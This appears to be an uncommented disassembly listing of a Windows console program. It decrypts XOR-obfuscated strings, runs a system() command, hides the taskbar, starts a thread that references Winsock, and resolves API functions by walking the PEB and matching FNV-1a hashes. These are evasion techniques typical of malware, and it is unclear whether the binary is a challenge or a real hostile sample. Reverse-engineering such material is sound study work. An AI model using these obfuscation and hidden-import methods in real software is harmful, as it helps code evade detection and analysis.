lea r8, [rsp + 0x1a0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x17
jl 0x140009fb0
lea rdx, [rsp + 0x1a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
lea rdx, [0x14000e2a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x14000a02c
movabs r15, 0x7fffffffffffffff
cmp byte [rsp + 0x40], 0
je 0x14000a2cd
mov rdx, qword [rsp + 0x1f8]
inc rdx
mov rax, r14
cmp rdx, 0x1000
jb 0x14000a074
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a074
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.1400797bc
jmp 0x14000a2cd
movsd xmm0, qword [0x14008d9e8]
movsd qword [rsp + 0x48], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x48], 0xa
xor byte [rsp + 0x49], 0x35
xor byte [rsp + 0x4a], 0x36
xor byte [rsp + 0x4b], 0x37
xor byte [rsp + 0x4c], 0x38
xor byte [rsp + 0x4d], 0x39
xor byte [rsp + 0x4e], 0x3a
xor byte [rsp + 0x4f], 0x3b
xor al, 0x3c
mov byte [rsp + 0x50], al
call fcn.14000df10
mov edx, ntohl
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.uYDRY_CeiSRV.jE]
movups xmmword [rsp + 0x1a0], xmm0
movzx eax, word [0x14008dc40]
mov word [rsp + 0x1b0], ax
cmp byte [0x14008dc41], 0
je 0x14000a29e
mov ecx, ebx
cmp r13d, 2
jl 0x14000a259
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x1a0]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14000a131
cmp ecx, 0x12
jge 0x14000a29e
movsxd rax, ecx
lea r8, [rsp + 0x1a0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x12
jl 0x14000a270
lea rdx, [rsp + 0x1a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
lea rdx, [0x14000e2a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, [0x1400a40e0]
call fcn.140004750
lea rcx, [0x14008d5dc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 2
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, reloc.WS2_32.dll_recv
call fcn.140079460
mov dword [rax], reloc.WS2_32.dll_sendto
lea rcx, [0x140005290]
mov qword [rax + 8], rcx
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x1c8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140010600]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x1c0], rax
test rax, rax
je 0x14000b76c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], rax
mov eax, dword [0x14008d9f4]
mov dword [rsp + 0x68], eax
movzx ecx, word [0x14008d9f8]
mov word [rsp + 0x6c], cx
movzx eax, byte [0x14008d9fa]
mov byte [rsp + 0x68], 0x33
xor byte [rsp + 0x69], 0x35
xor byte [rsp + 0x6a], 0x36
xor byte [rsp + 0x6b], 0x37
xor cl, 0x38
mov byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], 0x39
xor al, 0x3a
mov byte [rsp + 0x6e], al
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], rbx
lea rax, [rsp + 0x68]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a3e0
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0xe0]
call fcn.14000ecf0
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0x4d0]
call fcn.14001f9a0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x3c0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14008d9d0]
movups xmmword [rsp + 0x1a0], xmm0
mov eax, dword [0x14008d9e0]
mov dword [rsp + 0x1b0], eax
movzx eax, word [0x14008d9e4]
mov word [rsp + 0x1b4], ax
movzx eax, byte [0x14008d9e6]
mov byte [rsp + 0x1b6], al
mov r8d, ebx
cmp r13d, 2
jl 0x14000a5c1
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x1a0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000a494
cmp r8d, 0x17
jge 0x14000a603
movsxd rax, r8d
lea r9, [rsp + 0x1a0]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14000a5d0
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x3c0]
call fcn.14000bff0
nop
mov r8, qword [rsp + 0x278]
mov rdx, qword [rsp + 0x270]
sub r8, rdx
lea rcx, [rsp + 0x3c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x3c8]
call fcn.14000d510
test rax, rax
jne 0x14000a670
mov rax, qword [rsp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x3c0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movups xmm0, xmmword [str.au]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x14008d990]
movups xmmword [rsp + 0xf0], xmm1
movsd xmm0, qword [0x14008d9a0]
movsd qword [rsp + 0x100], xmm0
movzx eax, word [0x14008d9a8]
mov word [rsp + 0x108], ax
mov r8d, ebx
cmp r13d, 2
jl 0x14000a80d
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xe0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000a6e0
cmp r8d, 0x2a
jge 0x14000a853
movsxd rax, r8d
lea r9, [rsp + 0xe0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x14000a820
xorps xmm0, xmm0
movups xmmword [rsp + 0x220], xmm0
mov qword [rsp + 0x230], rbx
mov qword [rsp + 0x238], rbx
lea rax, [rsp + 0xe0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a880
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x220]
call fcn.14000ecf0
nop
movups xmm0, xmmword [str.gawel]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x14008da38]
movups xmmword [rsp + 0xf0], xmm1
mov eax, dword [0x14008da48]
mov dword [rsp + 0x100], eax
movzx eax, byte [0x14008da4c]
mov byte [rsp + 0x104], al
mov r8d, ebx
cmp r13d, 2
jl 0x14000aa32
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xe0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000a905
cmp r8d, 0x25
jge 0x14000aa73
movsxd rax, r8d
lea r9, [rsp + 0xe0]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14000aa40
xorps xmm0, xmm0
movups xmmword [rsp + 0x1e0], xmm0
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], rbx
lea rax, [rsp + 0xe0]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14000aa96
mov r8, rsi
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x1e0]
call fcn.14000ecf0
nop
mov rcx, qword [rsp + 0x1f0]
sub r15, rcx
mov rdx, qword [rsp + 0x230]
cmp r15, rdx
jb 0x14000bc0b
lea r9, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 0x10
cmovae r9, qword [rsp + 0x1e0]
lea rax, [rsp + 0x220]
cmp qword [rsp + 0x238], 0x10
cmovae rax, qword [rsp + 0x220]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x2c0]
call fcn.14000fcc0
nop
xor edx, edx
lea rcx, str.Shell_traywnd
call qword [sym.imp.USER32.dll_FindWindowA]
mov r15, rax
xor r9d, r9d
lea r8, str.Shell_SecondaryTrayWnd
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
mov qword [rsp + 0x68], rax
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
lea rsi, [rsp + 0x2c0]
cmp qword [rsp + 0x2d8], 0x10
cmovae rsi, qword [rsp + 0x2c0]
mov rcx, qword gs:[0x60]
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14000ac1a
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14000ac1a
mov edx, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdx]
add rdx, r9
mov r8d, 0xe75661f4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000ac11
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000abf0
cmp r8d, 0xe14d288d
je 0x14000ac1f
test r10d, r10d
mov edx, dword [r11 + 0x20]
jne 0x14000abd0
mov rax, qword [rax]
jmp 0x14000aba0
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx r8d, word [rdx + r10*2]
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [rdx + r8*4]
add rax, r9
mov rcx, rsi
call rax
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x14008dbb0]
mov qword [rsp + 0x188], rax
cmp byte [0x14008dbb7], 0
je 0x14000adc3
cmp r13d, 2
jl 0x14000ad84
movdqa xmm4, xmmword [0x140096a90]
movd xmm6, r12d
movd xmm5, edi
movdqa xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x188]
xorps xmm2, xmm1
movd dword [rsp + 0x188], xmm2
movdqa xmm3, xmmword [0x140096a50]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x18c]
xorps xmm2, xmm1
movd dword [rsp + 0x18c], xmm2
jmp 0x14000adc3
lea r9, [rsp + 0x188]
mov r8d, ebx
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000ad90
lea rcx, [rsp + 0x188]
call fcn.140005170
test al, al
je 0x14000b3ba
call fcn.140004ae0
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x2e0]
call fcn.14000bc50
mov rcx, rax
cmp byte [rax + 7], 0
je 0x14000af55
cmp r13d, 2
jl 0x14000af0b
movdqa xmm4, xmmword [0x140096a90]
movd xmm5, r12d
movd xmm6, edi
movdqa xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
movdqa xmm3, xmmword [0x140096a50]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x14000af55
mov r10, rcx
mov r9d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
movzx eax, r9b
sub al, r8b
add al, 0x34
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14000af20
mov rdx, rcx
mov rcx, r11
call fcn.14000df10
call fcn.140004b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x150]
call fcn.14000bc60
movzx edx, byte [rax + 8]
test dl, dl
je 0x14000afa6
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor dl, 0x3c
mov byte [rax + 8], dl
mov rdx, rax
call fcn.14000df10
lea rdx, [rsp + 0x160]
call fcn.14000bc80
mov r8, rax
cmp byte [rax + 0xb], 0
je 0x14000b123
mov r10d, ebx
cmp r13d, 2
jl 0x14000b0e0
movdqa xmm4, xmmword [0x140096a90]
movd xmm5, r12d
movd xmm6, edi
movdqa xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r8]
xorps xmm2, xmm0
movd dword [r8], xmm2
movdqa xmm3, xmmword [0x140096a50]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r8 + 4]
xorps xmm2, xmm0
movd dword [r8 + 4], xmm2
mov r10d, 8
movsxd r9, r10d
add r9, r8
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r10d
add edx, r10d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r10b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r10d
lea r9, [r9 + 1]
cmp r10d, 0xc
jl 0x14000b0f0
mov rdx, r8
lea rcx, [rsp + 0xe0]
call fcn.14000d1b0
mov rdx, rax
lea rcx, [rsp + 0x4d0]
call fcn.140025900
mov edx, r12d
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, r12d
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rsp + 0xb0]
call fcn.14000bca0
mov r10, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov esi, dword [rdx + r9 + 0x88]
add rsi, r9
cmp rsi, r9
je 0x14000b1f6
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14000b1f6
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r11d
lea rax, [r9 + r11*4]
mov edx, dword [rax + r15]
add rdx, r9
mov r8d, 0xace83b2b
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000b1f1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000b1d0
cmp r8d, 0x238bdcd2
je 0x14000b1fb
test r11d, r11d
jne 0x14000b1b0
mov rcx, qword [rcx]
jmp 0x14000b180
mov ecx, dword [rsi + 0x24]
add rcx, r9
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov r11d, dword [rcx + rdx*4]
add r11, r9
